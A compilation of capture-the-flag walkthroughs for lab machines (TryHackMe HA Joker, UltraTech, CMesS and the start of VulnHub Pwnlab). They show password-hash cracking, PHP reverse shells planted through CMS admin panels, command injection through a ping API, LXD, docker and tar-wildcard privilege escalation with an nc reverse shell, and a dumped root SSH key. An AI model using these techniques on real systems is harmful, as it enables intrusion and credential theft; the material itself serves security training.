The hash of the admin’s password is $2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG

Save it to admin.hash and crack it with John:

$ /data/src/john/run/john admin.hash --wordlist=/data/src/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
abcd1234         (?)
1g 0:00:00:07 DONE (2020-06-23 10:30) 0.1259g/s 136.0p/s 136.0c/s 136.0C/s bullshit..brownie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The password is abcd1234.

#14 – At this point, you should be upload a reverse-shell in order to gain shell access. What is the owner of this session?

Hint: Maybe use error.php page on a template? Of course try it and execute ‘id’ command.

We are now able to authenticate with admin:abcd1234 to the administration backend of Joomla. Let’s create a webshell.

From the Control Panel go to Configuration > Templates > Templates > Beez3 Details and Files. Click on error.php to edit the code and replace it with a PHP reverse shell.

Open a listener (rlwrap nc -nlvp 4444) and in your browser, visit the error page (http://10.10.130.207:8080/templates/beez3/error.php). You should now have a reverse shell.

$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.130.207.
Ncat: Connection from 10.10.130.207:42946.
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 01:36:59 up  1:53,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null
www-data@ubuntu:/$ whoami
whoami
www-data
www-data@ubuntu:/$

Answer: www-data

#15 – This user belongs to a group that differs on your own group, What is this group?

Hint: Linux containers

We are member of the lxd group, which reveals the presence of a linux container:

www-data@ubuntu:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Answer: lxd

#16 – Spawn a tty shell.

Hint: python3

You can do that as follows:

$ SHELL=/bin/bash script -q /dev/null

Or with python:

$ python3 -c "import pty;pty.spawn('/bin/bash')"

#17 – In this question you should be do a basic research on how linux containers (LXD) work, it has a small online tutorial. Googling “lxd try it online”.

Read documentation about LXC / LXD: https://linuxcontainers.org/lxd/introduction/

#18 – List the image installed on the lxd-service, what is the ALIAS of this image?

Hint: lxc image ls

Now, let’s list the images installed:

www-data@ubuntu:/$ lxc image list
lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+

There is none. We are supposed to have a myalpine image. If you have an empty list, you can install it yourself.

First download the image on your machine:

$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ ./build-alpine

Transfer the resulting tar.gz file (e.g. alpine-v3.12-x86_64-20200623_1255.tar.gz) to the target.

Now, on the target, import the image.

www-data@ubuntu:/tmp$ lxc image import alpine-v3.12-x86_64-20200623_1255.tar.gz --alias myalpine
<-v3.12-x86_64-20200623_1255.tar.gz --alias myalpine
www-data@ubuntu:/tmp$ lxc image list
lxc image list
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
|  ALIAS   | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |          UPLOAD DATE          |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
| myalpine | f3c94a02e9d8 | no     | alpine v3.12 (20200623_12:55) | x86_64 | 3.07MB | Jun 23, 2020 at 11:07am (UTC) |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
www-data@ubuntu:/tmp$

Answer: myalpine

#19 – The idea here is to mount the root of the OS file system on the container, this should give us access to the root directory. Create the container with the privilege true and mount the root file system on /mnt in order to gain access to /root directory on host machine.

Hint: lxc init … lxc config device … lxc start … lxc exec …

www-data@ubuntu:/tmp$ lxc init myalpine joker -c security.privileged=true
lxc init myalpine joker -c security.privileged=true
Creating joker
www-data@ubuntu:/tmp$ lxc config device add joker mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to joker
www-data@ubuntu:/tmp$ lxc start joker
lxc start joker
www-data@ubuntu:/tmp$ lxc exec joker /bin/sh
lxc exec joker /bin/sh
~ # id
id
uid=0(root) gid=0(root)

#20 – What is the name of the file in the /root directory?

Answer: final.txt

Author : https://www.aldeid.com/wiki/TryHackMe-HA-Joker-CTF

thm-ultratech1-nl

UltraTech1

The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing

UltraTech1

This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.

If you get stuck at some point, take some time to keep enumerating.

Your Mission

You have been contracted by UltraTech to pentest their infrastructure.

It is a grey-box kind of assessment, the only information you have is the company’s name and their server’s IP address.

[Task 2] It’s enumeration time!

After enumerating the services and resources available on this machine, what did you discover?

#2.1 – Which software is using the port 8081?

Let’s run a Nmap scan:

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_  256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open  http    Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Answer: node.js

#2.2 – Which other non-standard port is used?

Apparently, our default Nmap scan didn’t reveal all the open ports. Let’s do sudo nmap -sS -sV -p- 10.10.66.69 to scan all ports:

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp  open  http    Node.js Express framework
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:71:D7:2F:E8:3E (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Another port appears in our list: 31331

#2.3 – Which software using this port?

Answer: apache

#2.4 – Which GNU/Linux distribution seems to be used?

From the Nmap script, it seems that the host is running Ubuntu.

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Answer: Ubuntu

#2.5 – The software using the port 8080 is a REST api, how many of its routes are used by the web application?

A “route” in the node.js terminology refers to “determining how an application responds to a client request to a particular endpoint, which is a URI (or path) and a specific HTTP request method (GET, POST, and so on)” (Source: https://expressjs.com/en/starter/basic-routing.html)

Let’s use wfuzz to discover hidden routes:

root@kali:~# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 15 http://10.10.66.89:8081/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.66.89:8081/FUZZ
Total requests: 220560

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                      
===================================================================

[REDACTED]

000002526:   200        0 L      8 W      39 Ch       "auth"
000003633:   500        10 L     61 W     1094 Ch     "ping"
000030796:   500        10 L     61 W     1094 Ch     "Ping"
000084978:   200        0 L      8 W      39 Ch       "Auth"                                                             

Total time: 216.4863
Processed Requests: 220560
Filtered Requests: 220541
Requests/sec.: 1018.817

2 routes have been discovered: auth and ping.

[Task 3] Let the fun begin

Now that you know which services are available, it’s time to exploit them!

Did you find somewhere you could try to login? Great!

Quick and dirty login implementations usually goes with poor data management.

There must be something you can do to explore this machine more thoroughly.

#3.1 – There is a database lying around, what is its filename?

Hint: Look closely how the API is used. Don’t spend too much time on /auth, it isn’t the only route available.

auth

The first route we found is auth. Let’s check how it works:

$ curl -i "http://10.10.100.5:8081/auth"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 39
ETag: W/"27-eyFFXmdQ/Imsneqz2tUSLEVh8vY"
Date: Sat, 20 Jun 2020 05:28:27 GMT
Connection: keep-alive

You must specify a login and a password$

It seems to require a login and a password. Let’s try to provide auth with these variables.

$ curl -i "http://10.10.100.5:8081/auth?login=oops&password=oops"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 19
ETag: W/"13-5BeEbsCKuYi/D6yoiMYWlEvunLM"
Date: Sat, 20 Jun 2020 05:28:16 GMT
Connection: keep-alive

Invalid credentials$

This time, we have a different message (Invalid credentials), but we have found the expected variables: /auth?login=login&password=password.

As we don’t have any valid credentials, we can’t authenticate now, so let’s check the other route.

ping

Now, let’s have a look at the second route (ping):

$ curl -s "http://10.10.100.5:8081/ping" | html2text 

    TypeError: Cannot read property 'replace' of undefined  
        at app.get (/home/www/api/index.js:45:29)  
        at Layer.handle [as handle_request] (/home/www/api/node_modules/express/lib/router/layer.js:95:5)  
        at next (/home/www/api/node_modules/express/lib/router/route.js:137:13)  
        at Route.dispatch (/home/www/api/node_modules/express/lib/router/route.js:112:3)  
        at Layer.handle [as handle_request] (/home/www/api/node_modules/express/lib/router/layer.js:95:5)  
        at /home/www/api/node_modules/express/lib/router/index.js:281:22  
        at Function.process_params (/home/www/api/node_modules/express/lib/router/index.js:335:12)  
        at next (/home/www/api/node_modules/express/lib/router/index.js:275:10)  
        at cors (/home/www/api/node_modules/cors/lib/index.js:188:7)  
        at /home/www/api/node_modules/cors/lib/index.js:224:17

This is interesting, because the API is likely expecting a parameter to be provided, and will call replace to kind of sanitize it. However, as this parameter is missing, it failed and we had this error.

Let’s try to guess the missing parameter. As auth was expecting a login and password, we could assume that ping is expecting an ip, right? Let’s check:

$ curl -i "http://10.10.100.5:8081/ping?ip=127.0.0.1"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 251
ETag: W/"fb-cFu2RWHosOjadv694se9YWL5QfE"
Date: Sat, 20 Jun 2020 05:39:04 GMT
Connection: keep-alive

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.014 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms

It seems that our assumption was correct. Now, let’s see if we can inject some code.

$ curl -i 'http://10.10.100.5:8081/ping?ip=`ls`'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 49
ETag: W/"31-HlSQypQjJ8bvYzsasjt4yTZkt90"
Date: Sat, 20 Jun 2020 05:56:01 GMT
Connection: keep-alive

ping: utech.db.sqlite: Name or service not known

The ip parameter is injectable, and passing ls disclosed the name of the database: utech.db.sqlite

#3.2 – What is the first user’s password hash?

Now, we can get try to get the content of the database. The sqlite3 package doesn’t seem to have been installed on the server, but we are still able to dump the content of the database with cat.

$ curl -i 'http://10.10.100.5:8081/ping?ip=`cat%20utech.db.sqlite`'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 147
ETag: W/"93-594eIY8lmtfDeu2ln6BdpbW24SI"
Date: Sat, 20 Jun 2020 06:10:50 GMT
Connection: keep-alive

���(r00tf357a0c52799563c7c7b76c1e7543a32)admin0d0ea5111e3c1def594c1684e3b9be84: Parameter string not correctly encoded

It seems we have been able to get the r00t’s and admin’s password hashes:

account password hash
r00t f357a0c52799563c7c7b76c1e7543a32
admin 0d0ea5111e3c1def594c1684e3b9be84

Answer: f357a0c52799563c7c7b76c1e7543a32

#3.3 – What is the password associated with this hash?

Hint: We will, we will ******.txt*

To crack the password, we could either perform a brute force attack ourselves using hashcat or John the Ripper, or be smarter and check on the Internet (e.g. https://crackstation.net/) if this hash has been cracked already:

TryHackMe-UltraTech-sqlite-hash.png

Answer: n100906

[Task 4] The root of all evil

Congrats if you’ve made it this far, you should be able to comfortably run commands on the server by now!

Now’s the time for the final step!

You’ll be on your own for this one, there is only one question and there might be more than a single way to reach your goal.

Mistakes were made, take advantage of it.

#4.1 – What are the first 9 characters of the root user’s private SSH key?

Now that we have found valid credentials, let’s try to connect with them in SSH with r00t:n100906. It works!

In the SSH terminal, checking our privileges with sudo -l shows that we are not in the sudoers. Now, running id informs us that we are in the docker group:

r00t@ultratech-prod:~$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
r00t@ultratech-prod:~$ which docker
/usr/bin/docker
r00t@ultratech-prod:~$ ls -l /usr/bin/docker
-rwxr-xr-x 1 root root 68631952 Feb 13  2019 /usr/bin/docker

It seems that there is a bash container installed:

r00t@ultratech-prod:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
bash                latest              495d6437fc1e        15 months ago       15.8MB

Now, going to GTFOBins tells us that docker “can be used to break out from restricted environments by spawning an interactive system shell”. Let’s try with bash:

r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@8baf3018faef:/# whoami
root

It worked. Now, let’s see what we have in /root:

root@8baf3018faef:/# ls -la /root
total 40
drwx------  6 root root 4096 Mar 22  2019 ./
drwxr-xr-x 23 root root 4096 Mar 19  2019 ../
-rw-------  1 root root  844 Mar 22  2019 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Mar 22  2019 .cache/
drwx------  3 root root 4096 Mar 22  2019 .emacs.d/
drwx------  3 root root 4096 Mar 22  2019 .gnupg/
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root    0 Mar 22  2019 .python_history
drwx------  2 root root 4096 Mar 22  2019 .ssh/
-rw-rw-rw-  1 root root  193 Mar 22  2019 private.txt

A private message:

root@8baf3018faef:~# cat /root/private.txt 
# Life and acomplishments of Alvaro Squalo - Tome I

Memoirs of the most successful digital nomdad finblocktech entrepreneur
in the world.

By himself.

## Chapter 1 - How I became successful

And the SSH private key:

root@8baf3018faef:~# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
sIOfoEC+vvs9SRxy8yNBQ2bx2kLYqoZpDJOuTC4Y7VIb+3xeLjhmvtNQGofffkQA
jSMMlh1MG14fOInXKTRQF8hPBWKB38BPdlNgm7dR5PUGFWni15ucYgCGq1Utc5PP
NZVxika+pr/U0Ux4620MzJW899lDG6orIoJo739fmMyrQUjKRnp8xXBv/YezoF8D
hQaP7omtbyo0dczKGkeAVCe6ARh8woiVd2zz5SHDoeZLe1ln4KSbIL3EiMQMzOpc
jNn7oD+rqmh/ygoXL3yFRAowi+LFdkkS0gqgmwIDAQABAoIBACbTwm5Z7xQu7m2J
tiYmvoSu10cK1UWkVQn/fAojoKHF90XsaK5QMDdhLlOnNXXRr1Ecn0cLzfLJoE3h
YwcpodWg6dQsOIW740Yu0Ulr1TiiZzOANfWJ679Akag7IK2UMGwZAMDikfV6nBGD
wbwZOwXXkEWIeC3PUedMf5wQrFI0mG+mRwWFd06xl6FioC9gIpV4RaZT92nbGfoM
BWr8KszHw0t7Cp3CT2OBzL2XoMg/NWFU0iBEBg8n8fk67Y59m49xED7VgupK5Ad1
5neOFdep8rydYbFpVLw8sv96GN5tb/i5KQPC1uO64YuC5ZOyKE30jX4gjAC8rafg
o1macDECgYEA4fTHFz1uRohrRkZiTGzEp9VUPNonMyKYHi2FaSTU1Vmp6A0vbBWW
tnuyiubefzK5DyDEf2YdhEE7PJbMBjnCWQJCtOaSCz/RZ7ET9pAMvo4MvTFs3I97
eDM3HWDdrmrK1hTaOTmvbV8DM9sNqgJVsH24ztLBWRRU4gOsP4a76s0CgYEA0LK/
/kh/lkReyAurcu7F00fIn1hdTvqa8/wUYq5efHoZg8pba2j7Z8g9GVqKtMnFA0w6
t1KmELIf55zwFh3i5MmneUJo6gYSXx2AqvWsFtddLljAVKpbLBl6szq4wVejoDye
lEdFfTHlYaN2ieZADsbgAKs27/q/ZgNqZVI+CQcCgYAO3sYPcHqGZ8nviQhFEU9r
4C04B/9WbStnqQVDoynilJEK9XsueMk/Xyqj24e/BT6KkVR9MeI1ZvmYBjCNJFX2
96AeOaJY3S1RzqSKsHY2QDD0boFEjqjIg05YP5y3Ms4AgsTNyU8TOpKCYiMnEhpD
kDKOYe5Zh24Cpc07LQnG7QKBgCZ1WjYUzBY34TOCGwUiBSiLKOhcU02TluxxPpx0
v4q2wW7s4m3nubSFTOUYL0ljiT+zU3qm611WRdTbsc6RkVdR5d/NoiHGHqqSeDyI
6z6GT3CUAFVZ01VMGLVgk91lNgz4PszaWW7ZvAiDI/wDhzhx46Ob6ZLNpWm6JWgo
gLAPAoGAdCXCHyTfKI/80YMmdp/k11Wj4TQuZ6zgFtUorstRddYAGt8peW3xFqLn
MrOulVZcSUXnezTs3f8TCsH1Yk/2ue8+GmtlZe/3pHRBW0YJIAaHWg5k2I3hsdAz
bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo=
-----END RSA PRIVATE KEY-----

Answer: MIIEogIBA

Author : https://www.aldeid.com/wiki/TryHackMe-UltraTech

thm-cmess-nl

TryHackMe-CMesS

Can you root this Gila CMS box?

Please add 10.10.38.29 cmess.thm to /etc/hosts

Please also note that this box does not require brute forcing!

#1 – Compromise this machine and obtain user.txt

Hint: Have you tried fuzzing for subdomains?

First thing is to add 10.10.38.29 cmess.thm in our /etc/hosts file.

Nmap reveals that 2 ports are open on the target: SSH and HTTP, on their standard ports.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is a robots.txt file that reveals some hidden locations:

unknown@localhost:/data/documents/challenges/TryHackMe$ curl -s 10.10.38.29/robots.txt
User-agent: *
Disallow: /src/
Disallow: /themes/
Disallow: /lib/

When browsing the home page, it reveals that the website is built upon GilaCMS (https://gilacms.com/). gobuster discovers several other hidden locations:

$gobuster dir -u http://cmess.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://cmess.thm/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/09 11:31:35 Starting gobuster
===============================================================

The most interesting locations are probably /login and /admin, but we don’t have credentials, and are instructed not to brute force the autentication.

The hint though recommends to check subdomains; let’s use wfuzz for that purpose:

$ ┌─[user@parrot-virtual]─[~/ptd]
└──╼ $wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u "http://cmess.thm" -H "Host: FUZZ.cmess.thm" --hw 290
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://cmess.thm/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                             
===================================================================

000000019:   200        30 L     104 W    934 Ch      "dev"                                               

Total time: 68.70782
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 72.72825

We have discovered a hidden dev.cmess.thm subdomain. Let’s add it to our /etc/hosts file:

$ cat /etc/hosts
[REDACTED]
10.10.38.29 cmess.thm
10.10.38.29 dev.cmess.thm

Now, let’s see what we can get from this subdomain:

$ curl -s dev.cmess.thm | html2text
***** Development Log *****
**** andre@cmess.thm ****
Have you guys fixed the bug that was found on live?

**** support@cmess.thm ****
Hey Andre, We have managed to fix the misconfigured .htaccess file, we're
hoping to patch it in the upcoming patch!

**** support@cmess.thm ****
Update! We have had to delay the patch due to unforeseen circumstances

**** andre@cmess.thm ****
That's ok, can you guys reset my password if you get a moment, I seem to be
unable to get onto the admin panel.

**** support@cmess.thm ****
Your password has been reset. Here: KPFTN_f2yxe%

We are provided with an email address and a password. Now you can log in:

Once logged in, go to Content > File Manager.

Now, download a PHP shell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz), add a file named shell.php in the assets directory and put the content of the PHP reverse shell (don’t forget to modify your IP and port).

Open a listener on your machine (rlwrap nc -nlvp 4444), on the port you selected, and browse http://cmess.thm/assets/shell.php. You should now be logged in as www-data.

Lateral move to Andre

If you list the /home folder, you’ll notice that andre is a user. Let’s try a lateral move. After searching a bit (you can use linenum or linpeas to help), you’ll notice that Andre’s password has been backup’ed in a hidden file under the /opt directory:

www-data@cmess:/opt$ cat /opt/.password.bak
cat /opt/.password.bak
andres backup password
UQfsdCB7aAP6
www-data@cmess:/opt$

Connect to SSH with andre:UQfsdCB7aAP6 and get the user flag.

andre@cmess:~$ cat user.txt 
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

User flag: thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

#2 – Escalate your privileges and obtain root.txt

Now, let’s get root. There is an interesting crontab job running every 2 minutes, executed by root:

*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

As you can see, this command is using the wildcard (*) to select all files located under /home/andre/backup and compress them with tar. Having a look at GTFOBins (https://gtfobins.github.io/gtfobins/tar/) tells us that we can take advantage from this mistake.

Indeed, because of the wildcard, we can create files that will be interpreted as options for the tar command, to ultimately execute something similar to this:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Let’s do it:

$ cat > /home/andre/backup/rev << EOF
#!/bin/bash
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.54 4444 >/tmp/f
EOF
$ echo "" > "/home/andre/backup/--checkpoint=1"
$ echo "" > "/home/andre/backup/--checkpoint-action=exec=sh rev"

Now, let’s open a listener and wait for the next batch.

$ rlwrap nc -nlvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.185.45.
Ncat: Connection from 10.10.185.45:52344.
/bin/sh: 0: can't access tty; job control turned off
# cat /root/root.txt
thm{9f85b7fdeb2cf96985bf5761a93546a2}

Root flag: thm{9f85b7fdeb2cf96985bf5761a93546a2}

Author: https://www.aldeid.com/wiki/TryHackMe-CMesS

 

vulnhub-pwnlab-nl

Pwnlab: init

Name       : Pwnlab: init
Difficulty : Beginner
Type       : boot2root
Source     : VulnHub
URL        : https://www.vulnhub.com/entry/pwnlab-init,158/
Entry      : 9 / 30

Welcome to the walkthrough for Pwnlab: init, a boot2root CTF found on VulnHub. This is the ninth VM in my VulnHub Challenge!

Pwnlab is a lot more involved than the other machines I’ve done up to now. It may be listed as a beginner machine, but I can assure you this one will put you through your paces! Lots of fun though, and definitely on the list of must-try machines in preparation for the OSCP.

Goal

As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root directory.

Setup

I’m using VMWare Workstation Player to host Kali and the Pwnlab: init image, with both VMs running in a NAT network. Nothing special about the setup here, so you should be fine using either VirtualBox or VMWare Player.

Discovery

I use netdiscover to search for the IP address of the target VM:

 root@dante:~# netdiscover -r 192.168.127.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.127.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.127.2   00:50:56:e0:ea:a0      1      60  VMware, Inc.
 192.168.127.132 00:0c:29:e8:22:bd      1      60  VMware, Inc.
 192.168.127.254 00:50:56:e1:17:e5      1      60  VMware, Inc.

So it looks like 192.168.127.132 is our target IP.

Scanning

I’ll start with a quick nmap scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC and -sV flags:

root@dante:~# nmap 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00075s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 00:0C:29:E8:22:BD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
root@dante:~# nmap -sC -sV -p80,111,3306 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00090s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36690/tcp   status
|   100024  1          42476/tcp6  status
|   100024  1          43227/udp   status
|_  100024  1          53872/udp6  status
3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, InteractiveClient, IgnoreSigpipes, SupportsTransactions, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, ODBCClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: Oz:NYSw{'K'|aNEN7f~i
|_  Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:E8:22:BD (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds

Looks like I’m looking at a web infiltration on this machine, since I’m not seeing any SSH, Telnet, or FTP ports open. MySQL being exposed is also interesting, but I’ll try going through the front door first, i.e. see what port 80 gives me.

Web Reconnaissance

As with other VMs, I’m going to start with curl and see what I can pull down from the main URL:

root@dante:~# curl -v http://192.168.127.132/
*   Trying 192.168.127.132:80...
* TCP_NODELAY set
* Connected to 192.168.127.132 (192.168.127.132) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.132
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 15 Sep 2019 23:39:30 GMT
< Server: Apache/2.4.10 (Debian)
< Vary: Accept-Encoding
< Content-Length: 332
< Content-Type: text/html; charset=UTF-8
<
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
* Connection #0 to host 192.168.127.132 left intact
</html>root@dante:~#

Not a whole lot here. The interesting thing is how the other pages are referenced using a page query parameter. This is typical in PHP applications, so I’m going to assume this is a PHP app.

To test my theory out, I’m going to run gobuster and see what comes out when I specify the .php extension:

root@dante:~# gobuster dir -f -t 50 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.132/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.127.132/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Add Slash:      true
[+] Timeout:        10s
===============================================================
2019/09/15 19:43:13 Starting gobuster
===============================================================
/icons/ (Status: 403)
/upload/ (Status: 200)
/upload.php (Status: 200)
